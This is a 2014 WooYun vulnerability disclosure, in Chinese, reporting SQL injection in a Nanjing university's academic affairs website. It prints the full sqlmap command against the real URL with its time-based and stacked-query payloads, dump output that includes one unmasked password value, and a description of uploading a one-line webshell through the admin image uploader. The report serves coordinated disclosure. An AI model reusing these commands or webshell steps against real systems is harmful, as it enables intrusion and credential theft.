漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-066887
漏洞标题:南京信息工程大学教务处网站可注射,后台上传木马可获取webshell
相关厂商:南京信息工程大学
漏洞作者: 小周周
提交时间:2014-07-01 19:16
修复时间:2014-08-15 19:18
公开时间:2014-08-15 19:18
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-01: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-14: 细节向核心白帽子及相关领域专家公开
2014-07-24: 细节向普通白帽子公开
2014-08-03: 细节向实习白帽子公开
2014-08-15: 细节向公众公开
简要描述:
南京信息工程大学教务处网站可注射,获取到管理员密码进入后台可上传木马可获取webshell
详细说明:
南京信息工程大学教务处网站可注射,获取到管理员密码进入后台可上传木马可获取webshell
漏洞证明:
sqlmap暴库获取管理员密码:
D:\Python27\sqlmap>sqlmap.py -u http://jwc.nuist.edu.cn/ShowNews.aspx?newsno=793
-D db_NXInfoEduOffice -T dbo.T_User -C "UserName,Pwd" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:23:07
[11:23:07] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:23:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: newsno
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: newsno=793; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: newsno=793 WAITFOR DELAY '0:0:5'--
---
[11:23:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[11:23:08] [INFO] fetching columns 'Pwd, UserName' for table 'T_User' in databas
e 'db_NXInfoEduOffice'
[11:23:08] [INFO] resumed: 2
[11:23:08] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[11:23:42] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
sqlmap got a 302 redirect to 'http://jwc.nuist.edu.cn:80/GenericErrorPage.htm'.
Do you want to follow? [Y/n]
[11:23:44] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[11:23:46] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[11:23:46] [INFO] retrieved:
[11:23:47] [WARNING] unable to retrieve column names for table 'T_User' in datab
ase 'db_NXInfoEduOffice'
[11:23:47] [INFO] fetching entries of column(s) 'Pwd, UserName' for table 'T_Use
r' in database 'db_NXInfoEduOffice'
[11:23:47] [INFO] fetching number of column(s) 'Pwd, UserName' entries for table
'T_User' in database 'db_NXInfoEduOffice'
[11:23:47] [INFO] resumed: 3
[11:23:47] [INFO] fetching number of distinct values for column 'Pwd'
[11:23:47] [INFO] resumed: 3
[11:23:47] [INFO] using column 'Pwd' as a pivot for retrieving row data
[11:23:47] [INFO] resumed: ljw583
[11:23:47] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[11:23:47] [INFO] resuming partial value: ???
[11:23:47] [INFO] retrieved: ??
[11:32:57] [INFO] retrieved: test
[11:35:56] [INFO] retrieved: 11111
[11:37:58] [INFO] retrieved: xxtest
[11:43:00] [INFO] retrieved: xxtest
[11:48:02] [INFO] analyzing table dump for possible password hashes
Database: db_NXInfoEduOffice
Table: T_User
[3 entries]
+--------+----------+
| Pwd | UserName |
+--------+----------+
| 马赛克 | ????? |
| 马赛克 | 马赛克 |
| 马赛克 | 马赛克 |
+--------+----------+
[11:48:02] [INFO] table 'db_NXInfoEduOffice.dbo.T_User' dumped to CSV file 'D:\P
ython27\sqlmap\output\jwc.nuist.edu.cn\dump\db_NXInfoEduOffice\T_User.csv'
[11:48:02] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 287 times
[11:48:02] [INFO] fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\jwc.nuist.edu.cn'
[*] shutting down at 11:48:02
进入后台:
后台文件上传图片功能,可以通过抓包、改包上传一句话木马:
菜刀连接:
修复方案:
你们肯定懂
版权声明:转载请注明来源 小周周@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:6
确认时间:2014-07-04 16:25
厂商回复:
已通知相关学校处理
最新状态:
暂无